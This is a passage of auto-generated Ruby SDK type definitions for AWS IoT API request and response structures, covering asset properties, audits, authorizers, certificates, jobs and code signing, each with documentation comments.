substitution templates. # @return [String] # # @!attribute [rw] offset_in_nanos # Optional. A string that contains the nanosecond time offset. Accepts # substitution templates. # @return [String] # class AssetPropertyTimestamp < Struct.new( :time_in_seconds, :offset_in_nanos) include Aws::Structure end # An asset property value entry containing the following information. # # @note When making an API call, you may pass AssetPropertyValue # data as a hash: # # { # value: { # required # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # }, # timestamp: { # required # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # }, # quality: "AssetPropertyQuality", # } # # @!attribute [rw] value # The value of the asset property. # @return [Types::AssetPropertyVariant] # # @!attribute [rw] timestamp # The asset property value timestamp. # @return [Types::AssetPropertyTimestamp] # # @!attribute [rw] quality # Optional. A string that describes the quality of the value. Accepts # substitution templates. Must be `GOOD`, `BAD`, or `UNCERTAIN`. # @return [String] # class AssetPropertyValue < Struct.new( :value, :timestamp, :quality) include Aws::Structure end # Contains an asset property value (of a single type). # # @note When making an API call, you may pass AssetPropertyVariant # data as a hash: # # { # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # } # # @!attribute [rw] string_value # Optional. The string value of the value entry. Accepts substitution # templates. # @return [String] # # @!attribute [rw] integer_value # Optional. A string that contains the integer value of the value # entry. Accepts substitution templates. # @return [String] # # @!attribute [rw] double_value # Optional. A string that contains the double value of the value # entry. Accepts substitution templates. # @return [String] # # @!attribute [rw] boolean_value # Optional. A string that contains the boolean value (`true` or # `false`) of the value entry. Accepts substitution templates. # @return [String] # class AssetPropertyVariant < Struct.new( :string_value, :integer_value, :double_value, :boolean_value) include Aws::Structure end # @note When making an API call, you may pass AssociateTargetsWithJobRequest # data as a hash: # # { # targets: ["TargetArn"], # required # job_id: "JobId", # required # comment: "Comment", # } # # @!attribute [rw] targets # A list of thing group ARNs that define the targets of the job. # @return [Array<String>] # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # # @!attribute [rw] comment # An optional comment string describing why the job was associated # with the targets. # @return [String] # class AssociateTargetsWithJobRequest < Struct.new( :targets, :job_id, :comment) include Aws::Structure end # @!attribute [rw] job_arn # An ARN identifying the job. # @return [String] # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # # @!attribute [rw] description # A short text description of the job. # @return [String] # class AssociateTargetsWithJobResponse < Struct.new( :job_arn, :job_id, :description) include Aws::Structure end # @note When making an API call, you may pass AttachPolicyRequest # data as a hash: # # { # policy_name: "PolicyName", # required # target: "PolicyTarget", # required # } # # @!attribute [rw] policy_name # The name of the policy to attach. # @return [String] # # @!attribute [rw] target # The [identity][1] to which the policy is attached. # # # # [1]: https://docs.aws.amazon.com/iot/latest/developerguide/iot-security-identity.html # @return [String] # class AttachPolicyRequest < Struct.new( :policy_name, :target) include Aws::Structure end # The input for the AttachPrincipalPolicy operation. # # @note When making an API call, you may pass AttachPrincipalPolicyRequest # data as a hash: # # { # policy_name: "PolicyName", # required # principal: "Principal", # required # } # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] principal # The principal, which can be a certificate ARN (as returned from the # CreateCertificate operation) or an Amazon Cognito ID. # @return [String] # class AttachPrincipalPolicyRequest < Struct.new( :policy_name, :principal) include Aws::Structure end # @note When making an API call, you may pass AttachSecurityProfileRequest # data as a hash: # # { # security_profile_name: "SecurityProfileName", # required # security_profile_target_arn: "SecurityProfileTargetArn", # required # } # # @!attribute [rw] security_profile_name # The security profile that is attached. # @return [String] # # @!attribute [rw] security_profile_target_arn # The ARN of the target (thing group) to which the security profile is # attached. # @return [String] # class AttachSecurityProfileRequest < Struct.new( :security_profile_name, :security_profile_target_arn) include Aws::Structure end class AttachSecurityProfileResponse < Aws::EmptyStructure; end # The input for the AttachThingPrincipal operation. # # @note When making an API call, you may pass AttachThingPrincipalRequest # data as a hash: # # { # thing_name: "ThingName", # required # principal: "Principal", # required # } # # @!attribute [rw] thing_name # The name of the thing. # @return [String] # # @!attribute [rw] principal # The principal, which can be a certificate ARN (as returned from the # CreateCertificate operation) or an Amazon Cognito ID. # @return [String] # class AttachThingPrincipalRequest < Struct.new( :thing_name, :principal) include Aws::Structure end # The output from the AttachThingPrincipal operation. # class AttachThingPrincipalResponse < Aws::EmptyStructure; end # The attribute payload. # # @note When making an API call, you may pass AttributePayload # data as a hash: # # { # attributes: { # "AttributeName" => "AttributeValue", # }, # merge: false, # } # # @!attribute [rw] attributes # A JSON string containing up to three key-value pair in JSON format. # For example: # # `\{"attributes":\{"string1":"string2"\}\}` # @return [Hash<String,String>] # # @!attribute [rw] merge # Specifies whether the list of attributes provided in the # `AttributePayload` is merged with the attributes stored in the # registry, instead of overwriting them. # # To remove an attribute, call `UpdateThing` with an empty attribute # value. # # <note markdown="1"> The `merge` attribute is only valid when calling `UpdateThing` or # `UpdateThingGroup`. # # </note> # @return [Boolean] # class AttributePayload < Struct.new( :attributes, :merge) include Aws::Structure end # Which audit checks are enabled and disabled for this account. # # @note When making an API call, you may pass AuditCheckConfiguration # data as a hash: # # { # enabled: false, # } # # @!attribute [rw] enabled # True if this audit check is enabled for this account. # @return [Boolean] # class AuditCheckConfiguration < Struct.new( :enabled) include Aws::Structure end # Information about the audit check. # # @!attribute [rw] check_run_status # The completion status of this check. One of "IN\_PROGRESS", # "WAITING\_FOR\_DATA\_COLLECTION", "CANCELED", # "COMPLETED\_COMPLIANT", "COMPLETED\_NON\_COMPLIANT", or # "FAILED". # @return [String] # # @!attribute [rw] check_compliant # True if the check is complete and found all resources compliant. # @return [Boolean] # # @!attribute [rw] total_resources_count # The number of resources on which the check was performed. # @return [Integer] # # @!attribute [rw] non_compliant_resources_count # The number of resources that were found noncompliant during the # check. # @return [Integer] # # @!attribute [rw] error_code # The code of any error encountered when this check is performed # during this audit. One of "INSUFFICIENT\_PERMISSIONS" or # "AUDIT\_CHECK\_DISABLED". # @return [String] # # @!attribute [rw] message # The message associated with any error encountered when this check is # performed during this audit. # @return [String] # class AuditCheckDetails < Struct.new( :check_run_status, :check_compliant, :total_resources_count, :non_compliant_resources_count, :error_code, :message) include Aws::Structure end # The findings (results) of the audit. # # @!attribute [rw] finding_id # A unique identifier for this set of audit findings. This identifier # is used to apply mitigation tasks to one or more sets of findings. # @return [String] # # @!attribute [rw] task_id # The ID of the audit that generated this result (finding). # @return [String] # # @!attribute [rw] check_name # The audit check that generated this result. # @return [String] # # @!attribute [rw] task_start_time # The time the audit started. # @return [Time] # # @!attribute [rw] finding_time # The time the result (finding) was discovered. # @return [Time] # # @!attribute [rw] severity # The severity of the result (finding). # @return [String] # # @!attribute [rw] non_compliant_resource # The resource that was found to be noncompliant with the audit check. # @return [Types::NonCompliantResource] # # @!attribute [rw] related_resources # The list of related resources. # @return [Array<Types::RelatedResource>] # # @!attribute [rw] reason_for_non_compliance # The reason the resource was noncompliant. # @return [String] # # @!attribute [rw] reason_for_non_compliance_code # A code that indicates the reason that the resource was noncompliant. # @return [String] # class AuditFinding < Struct.new( :finding_id, :task_id, :check_name, :task_start_time, :finding_time, :severity, :non_compliant_resource, :related_resources, :reason_for_non_compliance, :reason_for_non_compliance_code) include Aws::Structure end # Returned by ListAuditMitigationActionsTask, this object contains # information that describes a mitigation action that has been started. # # @!attribute [rw] task_id # The unique identifier for the task that applies the mitigation # action. # @return [String] # # @!attribute [rw] finding_id # The unique identifier for the findings to which the task and # associated mitigation action are applied. # @return [String] # # @!attribute [rw] action_name # The friendly name of the mitigation action being applied by the # task. # @return [String] # # @!attribute [rw] action_id # The unique identifier for the mitigation action being applied by the # task. # @return [String] # # @!attribute [rw] status # The current status of the task being executed. # @return [String] # # @!attribute [rw] start_time # The date and time when the task was started. # @return [Time] # # @!attribute [rw] end_time # The date and time when the task was completed or canceled. Blank if # the task is still running. # @return [Time] # # @!attribute [rw] error_code # If an error occurred, the code that indicates which type of error # occurred. # @return [String] # # @!attribute [rw] message # If an error occurred, a message that describes the error. # @return [String] # class AuditMitigationActionExecutionMetadata < Struct.new( :task_id, :finding_id, :action_name, :action_id, :status, :start_time, :end_time, :error_code, :message) include Aws::Structure end # Information about an audit mitigation actions task that is returned by # `ListAuditMitigationActionsTasks`. # # @!attribute [rw] task_id # The unique identifier for the task. # @return [String] # # @!attribute [rw] start_time # The time at which the audit mitigation actions task was started. # @return [Time] # # @!attribute [rw] task_status # The current state of the audit mitigation actions task. # @return [String] # class AuditMitigationActionsTaskMetadata < Struct.new( :task_id, :start_time, :task_status) include Aws::Structure end # Used in MitigationActionParams, this information identifies the target # findings to which the mitigation actions are applied. Only one entry # appears. # # @note When making an API call, you may pass AuditMitigationActionsTaskTarget # data as a hash: # # { # audit_task_id: "AuditTaskId", # finding_ids: ["FindingId"], # audit_check_to_reason_code_filter: { # "AuditCheckName" => ["ReasonForNonComplianceCode"], # }, # } # # @!attribute [rw] audit_task_id # If the task will apply a mitigation action to findings from a # specific audit, this value uniquely identifies the audit. # @return [String] # # @!attribute [rw] finding_ids # If the task will apply a mitigation action to one or more listed # findings, this value uniquely identifies those findings. # @return [Array<String>] # # @!attribute [rw] audit_check_to_reason_code_filter # Specifies a filter in the form of an audit check and set of reason # codes that identify the findings from the audit to which the audit # mitigation actions task apply. # @return [Hash<String,Array<String>>] # class AuditMitigationActionsTaskTarget < Struct.new( :audit_task_id, :finding_ids, :audit_check_to_reason_code_filter) include Aws::Structure end # Information about the targets to which audit notifications are sent. # # @note When making an API call, you may pass AuditNotificationTarget # data as a hash: # # { # target_arn: "TargetArn", # role_arn: "RoleArn", # enabled: false, # } # # @!attribute [rw] target_arn # The ARN of the target (SNS topic) to which audit notifications are # sent. # @return [String] # # @!attribute [rw] role_arn # The ARN of the role that grants permission to send notifications to # the target. # @return [String] # # @!attribute [rw] enabled # True if notifications to the target are enabled. # @return [Boolean] # class AuditNotificationTarget < Struct.new( :target_arn, :role_arn, :enabled) include Aws::Structure end # The audits that were performed. # # @!attribute [rw] task_id # The ID of this audit. # @return [String] # # @!attribute [rw] task_status # The status of this audit. One of "IN\_PROGRESS", "COMPLETED", # "FAILED", or "CANCELED". # @return [String] # # @!attribute [rw] task_type # The type of this audit. One of "ON\_DEMAND\_AUDIT\_TASK" or # "SCHEDULED\_AUDIT\_TASK". # @return [String] # class AuditTaskMetadata < Struct.new( :task_id, :task_status, :task_type) include Aws::Structure end # A collection of authorization information. # # @note When making an API call, you may pass AuthInfo # data as a hash: # # { # action_type: "PUBLISH", # accepts PUBLISH, SUBSCRIBE, RECEIVE, CONNECT # resources: ["Resource"], # } # # @!attribute [rw] action_type # The type of action for which the principal is being authorized. # @return [String] # # @!attribute [rw] resources # The resources for which the principal is being authorized to perform # the specified action. # @return [Array<String>] # class AuthInfo < Struct.new( :action_type, :resources) include Aws::Structure end # The authorizer result. # # @!attribute [rw] auth_info # Authorization information. # @return [Types::AuthInfo] # # @!attribute [rw] allowed # The policies and statements that allowed the specified action. # @return [Types::Allowed] # # @!attribute [rw] denied # The policies and statements that denied the specified action. # @return [Types::Denied] # # @!attribute [rw] auth_decision # The final authorization decision of this scenario. Multiple # statements are taken into account when determining the authorization # decision. An explicit deny statement can override multiple allow # statements. # @return [String] # # @!attribute [rw] missing_context_values # Contains any missing context values found while evaluating policy. # @return [Array<String>] # class AuthResult < Struct.new( :auth_info, :allowed, :denied, :auth_decision, :missing_context_values) include Aws::Structure end # An object that specifies the authorization service for a domain. # # @note When making an API call, you may pass AuthorizerConfig # data as a hash: # # { # default_authorizer_name: "AuthorizerName", # allow_authorizer_override: false, # } # # @!attribute [rw] default_authorizer_name # The name of the authorization service for a domain configuration. # @return [String] # # @!attribute [rw] allow_authorizer_override # A Boolean that specifies whether the domain configuration's # authorization service can be overridden. # @return [Boolean] # class AuthorizerConfig < Struct.new( :default_authorizer_name, :allow_authorizer_override) include Aws::Structure end # The authorizer description. # # @!attribute [rw] authorizer_name # The authorizer name. # @return [String] # # @!attribute [rw] authorizer_arn # The authorizer ARN. # @return [String] # # @!attribute [rw] authorizer_function_arn # The authorizer's Lambda function ARN. # @return [String] # # @!attribute [rw] token_key_name # The key used to extract the token from the HTTP headers. # @return [String] # # @!attribute [rw] token_signing_public_keys # The public keys used to validate the token signature returned by # your custom authentication service. # @return [Hash<String,String>] # # @!attribute [rw] status # The status of the authorizer. # @return [String] # # @!attribute [rw] creation_date # The UNIX timestamp of when the authorizer was created. # @return [Time] # # @!attribute [rw] last_modified_date # The UNIX timestamp of when the authorizer was last updated. # @return [Time] # # @!attribute [rw] signing_disabled # Specifies whether AWS IoT validates the token signature in an # authorization request. # @return [Boolean] # class AuthorizerDescription < Struct.new( :authorizer_name, :authorizer_arn, :authorizer_function_arn, :token_key_name, :token_signing_public_keys, :status, :creation_date, :last_modified_date, :signing_disabled) include Aws::Structure end # The authorizer summary. # # @!attribute [rw] authorizer_name # The authorizer name. # @return [String] # # @!attribute [rw] authorizer_arn # The authorizer ARN. # @return [String] # class AuthorizerSummary < Struct.new( :authorizer_name, :authorizer_arn) include Aws::Structure end # Configuration for the rollout of OTA updates. # # @note When making an API call, you may pass AwsJobExecutionsRolloutConfig # data as a hash: # # { # maximum_per_minute: 1, # } # # @!attribute [rw] maximum_per_minute # The maximum number of OTA update job executions started per minute. # @return [Integer] # class AwsJobExecutionsRolloutConfig < Struct.new( :maximum_per_minute) include Aws::Structure end # Configuration information for pre-signed URLs. Valid when `protocols` # contains HTTP. # # @note When making an API call, you may pass AwsJobPresignedUrlConfig # data as a hash: # # { # expires_in_sec: 1, # } # # @!attribute [rw] expires_in_sec # How long (in seconds) pre-signed URLs are valid. Valid values are 60 # - 3600, the default value is 1800 seconds. Pre-signed URLs are # generated when a request for the job document is received. # @return [Integer] # class AwsJobPresignedUrlConfig < Struct.new( :expires_in_sec) include Aws::Structure end # A Device Defender security profile behavior. # # @note When making an API call, you may pass Behavior # data as a hash: # # { # name: "BehaviorName", # required # metric: "BehaviorMetric", # criteria: { # comparison_operator: "less-than", # accepts less-than, less-than-equals, greater-than, greater-than-equals, in-cidr-set, not-in-cidr-set, in-port-set, not-in-port-set # value: { # count: 1, # cidrs: ["Cidr"], # ports: [1], # }, # duration_seconds: 1, # consecutive_datapoints_to_alarm: 1, # consecutive_datapoints_to_clear: 1, # statistical_threshold: { # statistic: "EvaluationStatistic", # }, # }, # } # # @!attribute [rw] name # The name you have given to the behavior. # @return [String] # # @!attribute [rw] metric # What is measured by the behavior. # @return [String] # # @!attribute [rw] criteria # The criteria that determine if a device is behaving normally in # regard to the `metric`. # @return [Types::BehaviorCriteria] # class Behavior < Struct.new( :name, :metric, :criteria) include Aws::Structure end # The criteria by which the behavior is determined to be normal. # # @note When making an API call, you may pass BehaviorCriteria # data as a hash: # # { # comparison_operator: "less-than", # accepts less-than, less-than-equals, greater-than, greater-than-equals, in-cidr-set, not-in-cidr-set, in-port-set, not-in-port-set # value: { # count: 1, # cidrs: ["Cidr"], # ports: [1], # }, # duration_seconds: 1, # consecutive_datapoints_to_alarm: 1, # consecutive_datapoints_to_clear: 1, # statistical_threshold: { # statistic: "EvaluationStatistic", # }, # } # # @!attribute [rw] comparison_operator # The operator that relates the thing measured (`metric`) to the # criteria (containing a `value` or `statisticalThreshold`). # @return [String] # # @!attribute [rw] value # The value to be compared with the `metric`. # @return [Types::MetricValue] # # @!attribute [rw] duration_seconds # Use this to specify the time duration over which the behavior is # evaluated, for those criteria which have a time dimension (for # example, `NUM_MESSAGES_SENT`). For a `statisticalThreshhold` metric # comparison, measurements from all devices are accumulated over this # time duration before being used to calculate percentiles, and later, # measurements from an individual device are also accumulated over # this time duration before being given a percentile rank. # @return [Integer] # # @!attribute [rw] consecutive_datapoints_to_alarm # If a device is in violation of the behavior for the specified number # of consecutive datapoints, an alarm occurs. If not specified, the # default is 1. # @return [Integer] # # @!attribute [rw] consecutive_datapoints_to_clear # If an alarm has occurred and the offending device is no longer in # violation of the behavior for the specified number of consecutive # datapoints, the alarm is cleared. If not specified, the default is # 1. # @return [Integer] # # @!attribute [rw] statistical_threshold # A statistical ranking (percentile) which indicates a threshold value # by which a behavior is determined to be in compliance or in # violation of the behavior. # @return [Types::StatisticalThreshold] # class BehaviorCriteria < Struct.new( :comparison_operator, :value, :duration_seconds, :consecutive_datapoints_to_alarm, :consecutive_datapoints_to_clear, :statistical_threshold) include Aws::Structure end # Additional information about the billing group. # # @!attribute [rw] creation_date # The date the billing group was created. # @return [Time] # class BillingGroupMetadata < Struct.new( :creation_date) include Aws::Structure end # The properties of a billing group. # # @note When making an API call, you may pass BillingGroupProperties # data as a hash: # # { # billing_group_description: "BillingGroupDescription", # } # # @!attribute [rw] billing_group_description # The description of the billing group. # @return [String] # class BillingGroupProperties < Struct.new( :billing_group_description) include Aws::Structure end # A CA certificate. # # @!attribute [rw] certificate_arn # The ARN of the CA certificate. # @return [String] # # @!attribute [rw] certificate_id # The ID of the CA certificate. # @return [String] # # @!attribute [rw] status # The status of the CA certificate. # # The status value REGISTER\_INACTIVE is deprecated and should not be # used. # @return [String] # # @!attribute [rw] creation_date # The date the CA certificate was created. # @return [Time] # class CACertificate < Struct.new( :certificate_arn, :certificate_id, :status, :creation_date) include Aws::Structure end # Describes a CA certificate. # # @!attribute [rw] certificate_arn # The CA certificate ARN. # @return [String] # # @!attribute [rw] certificate_id # The CA certificate ID. # @return [String] # # @!attribute [rw] status # The status of a CA certificate. # @return [String] # # @!attribute [rw] certificate_pem # The CA certificate data, in PEM format. # @return [String] # # @!attribute [rw] owned_by # The owner of the CA certificate. # @return [String] # # @!attribute [rw] creation_date # The date the CA certificate was created. # @return [Time] # # @!attribute [rw] auto_registration_status # Whether the CA certificate configured for auto registration of # device certificates. Valid values are "ENABLE" and "DISABLE" # @return [String] # # @!attribute [rw] last_modified_date # The date the CA certificate was last modified. # @return [Time] # # @!attribute [rw] customer_version # The customer version of the CA certificate. # @return [Integer] # # @!attribute [rw] generation_id # The generation ID of the CA certificate. # @return [String] # # @!attribute [rw] validity # When the CA certificate is valid. # @return [Types::CertificateValidity] # class CACertificateDescription < Struct.new( :certificate_arn, :certificate_id, :status, :certificate_pem, :owned_by, :creation_date, :auto_registration_status, :last_modified_date, :customer_version, :generation_id, :validity) include Aws::Structure end # @note When making an API call, you may pass CancelAuditMitigationActionsTaskRequest # data as a hash: # # { # task_id: "AuditMitigationActionsTaskId", # required # } # # @!attribute [rw] task_id # The unique identifier for the task that you want to cancel. # @return [String] # class CancelAuditMitigationActionsTaskRequest < Struct.new( :task_id) include Aws::Structure end class CancelAuditMitigationActionsTaskResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass CancelAuditTaskRequest # data as a hash: # # { # task_id: "AuditTaskId", # required # } # # @!attribute [rw] task_id # The ID of the audit you want to cancel. You can only cancel an audit # that is "IN\_PROGRESS". # @return [String] # class CancelAuditTaskRequest < Struct.new( :task_id) include Aws::Structure end class CancelAuditTaskResponse < Aws::EmptyStructure; end # The input for the CancelCertificateTransfer operation. # # @note When making an API call, you may pass CancelCertificateTransferRequest # data as a hash: # # { # certificate_id: "CertificateId", # required # } # # @!attribute [rw] certificate_id # The ID of the certificate. (The last part of the certificate ARN # contains the certificate ID.) # @return [String] # class CancelCertificateTransferRequest < Struct.new( :certificate_id) include Aws::Structure end # @note When making an API call, you may pass CancelJobExecutionRequest # data as a hash: # # { # job_id: "JobId", # required # thing_name: "ThingName", # required # force: false, # expected_version: 1, # status_details: { # "DetailsKey" => "DetailsValue", # }, # } # # @!attribute [rw] job_id # The ID of the job to be canceled. # @return [String] # # @!attribute [rw] thing_name # The name of the thing whose execution of the job will be canceled. # @return [String] # # @!attribute [rw] force # (Optional) If `true` the job execution will be canceled if it has # status IN\_PROGRESS or QUEUED, otherwise the job execution will be # canceled only if it has status QUEUED. If you attempt to cancel a # job execution that is IN\_PROGRESS, and you do not set `force` to # `true`, then an `InvalidStateTransitionException` will be thrown. # The default is `false`. # # Canceling a job execution which is "IN\_PROGRESS", will cause the # device to be unable to update the job execution status. Use caution # and ensure that the device is able to recover to a valid state. # @return [Boolean] # # @!attribute [rw] expected_version # (Optional) The expected current version of the job execution. Each # time you update the job execution, its version is incremented. If # the version of the job execution stored in Jobs does not match, the # update is rejected with a VersionMismatch error, and an # ErrorResponse that contains the current job execution status data is # returned. (This makes it unnecessary to perform a separate # DescribeJobExecution request in order to obtain the job execution # status data.) # @return [Integer] # # @!attribute [rw] status_details # A collection of name/value pairs that describe the status of the job # execution. If not specified, the statusDetails are unchanged. You # can specify at most 10 name/value pairs. # @return [Hash<String,String>] # class CancelJobExecutionRequest < Struct.new( :job_id, :thing_name, :force, :expected_version, :status_details) include Aws::Structure end # @note When making an API call, you may pass CancelJobRequest # data as a hash: # # { # job_id: "JobId", # required # reason_code: "ReasonCode", # comment: "Comment", # force: false, # } # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # # @!attribute [rw] reason_code # (Optional)A reason code string that explains why the job was # canceled. # @return [String] # # @!attribute [rw] comment # An optional comment string describing why the job was canceled. # @return [String] # # @!attribute [rw] force # (Optional) If `true` job executions with status "IN\_PROGRESS" and # "QUEUED" are canceled, otherwise only job executions with status # "QUEUED" are canceled. The default is `false`. # # Canceling a job which is "IN\_PROGRESS", will cause a device which # is executing the job to be unable to update the job execution # status. Use caution and ensure that each device executing a job # which is canceled is able to recover to a valid state. # @return [Boolean] # class CancelJobRequest < Struct.new( :job_id, :reason_code, :comment, :force) include Aws::Structure end # @!attribute [rw] job_arn # The job ARN. # @return [String] # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # # @!attribute [rw] description # A short text description of the job. # @return [String] # class CancelJobResponse < Struct.new( :job_arn, :job_id, :description) include Aws::Structure end # Information about a certificate. # # @!attribute [rw] certificate_arn # The ARN of the certificate. # @return [String] # # @!attribute [rw] certificate_id # The ID of the certificate. (The last part of the certificate ARN # contains the certificate ID.) # @return [String] # # @!attribute [rw] status # The status of the certificate. # # The status value REGISTER\_INACTIVE is deprecated and should not be # used. # @return [String] # # @!attribute [rw] creation_date # The date and time the certificate was created. # @return [Time] # class Certificate < Struct.new( :certificate_arn, :certificate_id, :status, :creation_date) include Aws::Structure end # Unable to verify the CA certificate used to sign the device # certificate you are attempting to register. This is happens when you # have registered more than one CA certificate that has the same subject # field and public key. # # @!attribute [rw] message # The message for the exception. # @return [String] # class CertificateConflictException < Struct.new( :message) include Aws::Structure end # Describes a certificate. # # @!attribute [rw] certificate_arn # The ARN of the certificate. # @return [String] # # @!attribute [rw] certificate_id # The ID of the certificate. # @return [String] # # @!attribute [rw] ca_certificate_id # The certificate ID of the CA certificate used to sign this # certificate. # @return [String] # # @!attribute [rw] status # The status of the certificate. # @return [String] # # @!attribute [rw] certificate_pem # The certificate data, in PEM format. # @return [String] # # @!attribute [rw] owned_by # The ID of the AWS account that owns the certificate. # @return [String] # # @!attribute [rw] previous_owned_by # The ID of the AWS account of the previous owner of the certificate. # @return [String] # # @!attribute [rw] creation_date # The date and time the certificate was created. # @return [Time] # # @!attribute [rw] last_modified_date # The date and time the certificate was last modified. # @return [Time] # # @!attribute [rw] customer_version # The customer version of the certificate. # @return [Integer] # # @!attribute [rw] transfer_data # The transfer data. # @return [Types::TransferData] # # @!attribute [rw] generation_id # The generation ID of the certificate. # @return [String] # # @!attribute [rw] validity # When the certificate is valid. # @return [Types::CertificateValidity] # class CertificateDescription < Struct.new( :certificate_arn, :certificate_id, :ca_certificate_id, :status, :certificate_pem, :owned_by, :previous_owned_by, :creation_date, :last_modified_date, :customer_version, :transfer_data, :generation_id, :validity) include Aws::Structure end # The certificate operation is not allowed. # # @!attribute [rw] message # The message for the exception. # @return [String] # class CertificateStateException < Struct.new( :message) include Aws::Structure end # The certificate is invalid. # # @!attribute [rw] message # Additional information about the exception. # @return [String] # class CertificateValidationException < Struct.new( :message) include Aws::Structure end # When the certificate is valid. # # @!attribute [rw] not_before # The certificate is not valid before this date. # @return [Time] # # @!attribute [rw] not_after # The certificate is not valid after this date. # @return [Time] # class CertificateValidity < Struct.new( :not_before, :not_after) include Aws::Structure end # @api private # class ClearDefaultAuthorizerRequest < Aws::EmptyStructure; end class ClearDefaultAuthorizerResponse < Aws::EmptyStructure; end # Describes an action that updates a CloudWatch alarm. # # @note When making an API call, you may pass CloudwatchAlarmAction # data as a hash: # # { # role_arn: "AwsArn", # required # alarm_name: "AlarmName", # required # state_reason: "StateReason", # required # state_value: "StateValue", # required # } # # @!attribute [rw] role_arn # The IAM role that allows access to the CloudWatch alarm. # @return [String] # # @!attribute [rw] alarm_name # The CloudWatch alarm name. # @return [String] # # @!attribute [rw] state_reason # The reason for the alarm change. # @return [String] # # @!attribute [rw] state_value # The value of the alarm state. Acceptable values are: OK, ALARM, # INSUFFICIENT\_DATA. # @return [String] # class CloudwatchAlarmAction < Struct.new( :role_arn, :alarm_name, :state_reason, :state_value) include Aws::Structure end # Describes an action that captures a CloudWatch metric. # # @note When making an API call, you may pass CloudwatchMetricAction # data as a hash: # # { # role_arn: "AwsArn", # required # metric_namespace: "String", # required # metric_name: "String", # required # metric_value: "String", # required # metric_unit: "String", # required # metric_timestamp: "String", # } # # @!attribute [rw] role_arn # The IAM role that allows access to the CloudWatch metric. # @return [String] # # @!attribute [rw] metric_namespace # The CloudWatch metric namespace name. # @return [String] # # @!attribute [rw] metric_name # The CloudWatch metric name. # @return [String] # # @!attribute [rw] metric_value # The CloudWatch metric value. # @return [String] # # @!attribute [rw] metric_unit # The [metric unit][1] supported by CloudWatch. # # # # [1]: https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#Unit # @return [String] # # @!attribute [rw] metric_timestamp # An optional [Unix timestamp][1]. # # # # [1]: https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#about_timestamp # @return [String] # class CloudwatchMetricAction < Struct.new( :role_arn, :metric_namespace, :metric_name, :metric_value, :metric_unit, :metric_timestamp) include Aws::Structure end # Describes the method to use when code signing a file. # # @note When making an API call, you may pass CodeSigning # data as a hash: # # { # aws_signer_job_id: "SigningJobId", # start_signing_job_parameter: { # signing_profile_parameter: { # certificate_arn: "CertificateArn", # platform: "Platform", # certificate_path_on_device: "CertificatePathOnDevice", # }, # signing_profile_name: "SigningProfileName", # destination: { # s3_destination: { # bucket: "S3Bucket", # prefix: "Prefix", # }, # }, # }, # custom_code_signing: { # signature: { # inline_document: "data", # }, # certificate_chain: { # certificate_name: "CertificateName", # inline_document: "InlineDocument", # }, # hash_algorithm: "HashAlgorithm", # signature_algorithm: "SignatureAlgorithm", # }, # } # # @!attribute [rw] aws_signer_job_id # The ID of the AWSSignerJob which was created to sign the file. # @return [String] # # @!attribute [rw] start_signing_job_parameter # Describes the code-signing job. # @return [Types::StartSigningJobParameter] # # @!attribute [rw] custom_code_signing # A custom method for code signing a file. # @return [Types::CustomCodeSigning] # class CodeSigning < Struct.new( :aws_signer_job_id, :start_signing_job_parameter, :custom_code_signing) include Aws::Structure end # Describes the certificate chain being used when code signing a file. # # @note When making an API call, you may pass CodeSigningCertificateChain # data as a hash: # # { # certificate_name: "CertificateName", # inline_document: "InlineDocument", # } # # @!attribute [rw] certificate_name # The name of the certificate. # @return [String] # # @!attribute [rw] inline_document # A base64 encoded binary representation of the code signing # certificate chain. # @return [String] # class CodeSigningCertificateChain < Struct.new( :certificate_name, :inline_document) include Aws::Structure end # Describes the signature for a file. # # @note When making an API call, you may pass CodeSigningSignature # data as a hash: # # { # inline_document: "data", # } # # @!attribute [rw] inline_document # A base64 encoded binary representation of the code signing # signature. # @return [String] # class CodeSigningSignature < Struct.new( :inline_document) include Aws::Structure end # Configuration. # # @note When making an API call, you may pass Configuration # data as a hash: # # { # enabled: false, # } # # @!attribute [rw] enabled # True to enable the configuration. # @return [Boolean] # class Configuration < Struct.new( :enabled) include Aws::Structure end # @note When making an API call, you may pass ConfirmTopicRuleDestinationRequest # data as a hash: # # { # confirmation_token: "ConfirmationToken", # required # } # # @!attribute [rw] confirmation_token # The token used to confirm ownership or access to the topic rule # confirmation URL. # @return [String] # class ConfirmTopicRuleDestinationRequest < Struct.new( :confirmation_token) include Aws::Structure end class ConfirmTopicRuleDestinationResponse < Aws::EmptyStructure; end # A conflicting resource update exception. This exception is thrown when # two pending updates cause a conflict. # # @!attribute [rw] message # The message for the exception. # @return [String] # class ConflictingResourceUpdateException < Struct.new( :message) include Aws::Structure end # @note When making an API call, you may pass CreateAuthorizerRequest # data as a hash: # # { # authorizer_name: "AuthorizerName", # required # authorizer_function_arn: "AuthorizerFunctionArn", # required # token_key_name: "TokenKeyName", # token_signing_public_keys: { # "KeyName" => "KeyValue", # }, # status: "ACTIVE", # accepts ACTIVE, INACTIVE # signing_disabled: false, # } # # @!attribute [rw] authorizer_name # The authorizer name. # @return [String] # # @!attribute [rw] authorizer_function_arn # The ARN of the authorizer's Lambda function. # @return [String] # # @!attribute [rw] token_key_name # The name of the token key used to extract the token from the HTTP # headers. # @return [String] # # @!attribute [rw] token_signing_public_keys # The public keys used to verify the digital signature returned by # your custom authentication service. # @return [Hash<String,String>] # # @!attribute [rw] status # The status of the create authorizer request. # @return [String] # # @!attribute [rw] signing_disabled # Specifies whether AWS IoT validates the token signature in an # authorization request. # @return [Boolean] # class CreateAuthorizerRequest < Struct.new( :authorizer_name, :authorizer_function_arn, :token_key_name, :token_signing_public_keys, :status, :signing_disabled) include Aws::Structure end # @!attribute [rw] authorizer_name # The authorizer's name. # @return [String] # # @!attribute [rw] 